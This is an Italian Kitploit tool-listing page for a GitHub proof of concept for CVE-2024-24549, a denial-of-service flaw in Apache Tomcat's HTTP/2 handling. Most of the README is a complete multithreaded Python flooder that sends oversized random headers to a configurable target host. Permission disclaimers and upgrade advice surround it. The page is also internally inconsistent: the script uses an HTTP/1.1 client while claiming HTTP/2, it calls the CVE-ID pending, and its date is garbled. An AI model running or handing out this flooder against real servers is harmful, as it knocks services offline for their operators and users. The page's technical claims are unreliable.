Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-24549 — Proof-of-concept script Python per CVE-2024-24549 che dimostra il denial-of-service HTTP/2 di Apache Tomcat tramite header di dimensioni eccessive che esauriscono le risorse del server. | Kitploit
Strumenti/GitHubGitHub/abdurahmon3236/cve-2024-24549
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingRed Teaming
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

Proof-of-concept script Python per CVE-2024-24549 che dimostra il denial-of-service HTTP/2 di Apache Tomcat tramite header di dimensioni eccessive che esauriscono le risorse del server.

Vedi Repository
1022 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ecco un README.md per un Proof of Concept (PoC) che dimostra la vulnerabilità Denial of Service (DoS) in Apache Tomcat dovuta a una validazione errata degli input delle richieste HTTP/2:


Proof of Concept (PoC) per la vulnerabilità Denial of Service (DoS) in Apache Tomcat

Questo repository contiene uno script Proof of Concept (PoC) che dimostra una vulnerabilità Denial of Service (DoS) in Apache Tomcat. La vulnerabilità deriva da una validazione errata degli input delle richieste HTTP/2, che può portare a condizioni DoS.

Descrizione della vulnerabilità

CVE-ID: (In attesa)

Panoramica: Le versioni di Apache Tomcat da 11.0.0-M1 a 11.0.0-M16, da 10.1.0-M1 a 10.1.18, da 9.0.0-M1 a 9.0.85 e da 8.5.0 a 8.5.98 sono vulnerabili a un attacco Denial of Service. Il problema si verifica durante l'elaborazione di richieste HTTP/2 con header che superano i limiti configurati. Il flusso HTTP/2 non viene reimpostato finché tutti gli header non sono stati elaborati, il che può portare a un esaurimento delle risorse.

Versioni affette:

  • Apache Tomcat 11.0.0-M1 fino a 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 fino a 10.1.18
  • Apache Tomcat 9.0.0-M1 fino a 9.0.85
  • Apache Tomcat 8.5.0 fino a 8.5.98

Mitigazioni:

  • Effettuare l'upgrade alle versioni di Apache Tomcat 11.0.0-M17, 10.1.19, 9.0.86 o 8.5.99 successive.

Dettagli del PoC

Questo script PoC mostra come sfruttare la vulnerabilità DoS inviando richieste HTTP/2 che superano i limiti di header configurati. Lo script invia un gran numero di richieste per esaurire le risorse del server.

Script PoC

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

Spiegazione

  1. Configurazione: Impostare host sull'indirizzo del server target e port sulla porta appropriata (di solito 443 per HTTPS). Regolare num_requests per controllare il numero di richieste inviate.
  2. Creare connessione: Lo script stabilisce una connessione HTTPS al server target.
  3. Header: Viene utilizzato un valore di header grande per superare i limiti di header configurati e attivare la vulnerabilità.
  4. Inviare richieste: Lo script invia più richieste HTTP/2 POST con header sovradimensionati al server target.
  5. Stampa dello stato: Stampa il codice di stato di ogni richiesta per monitorare l'impatto.

Considerazioni importanti

  • Permessi: Assicurarsi di avere il permesso esplicito per eseguire questo test sul server target. I test non autorizzati sono illegali e non etici.
  • Ambiente di test: Eseguire i test in un ambiente controllato per evitare di interrompere i servizi di produzione.
  • Uso etico: Utilizzare questo PoC in modo responsabile e solo in contesti autorizzati.

Mitigazione

Per mitigare questa vulnerabilità:

  1. Aggiornare Apache Tomcat: Effettuare l'upgrade alle versioni 11.0.0-M17, 10.1.19, 9.0.86 o 8.5.99 successive.
  2. Rivedere la configurazione: Regolare le configurazioni del server per gestire in modo più efficace richieste HTTP/2 grandi o dannose.
  3. Monitorare le risorse: Implementare il monitoraggio per rilevare e rispondere a schemi di richieste insoliti che potrebbero indicare un attacco DoS.

Per ulteriori informazioni su come proteggere la propria installazione di Apache Tomcat, fare riferimento alla documentazione ufficiale di Apache Tomcat.


Questo README.md fornisce una panoramica della vulnerabilità, lo script PoC e le istruzioni per la mitigazione. Assicurarsi di gestire questo PoC in modo responsabile e solo su sistemi per i quali si dispone di autorizzazione esplicita.

Scarica lo strumento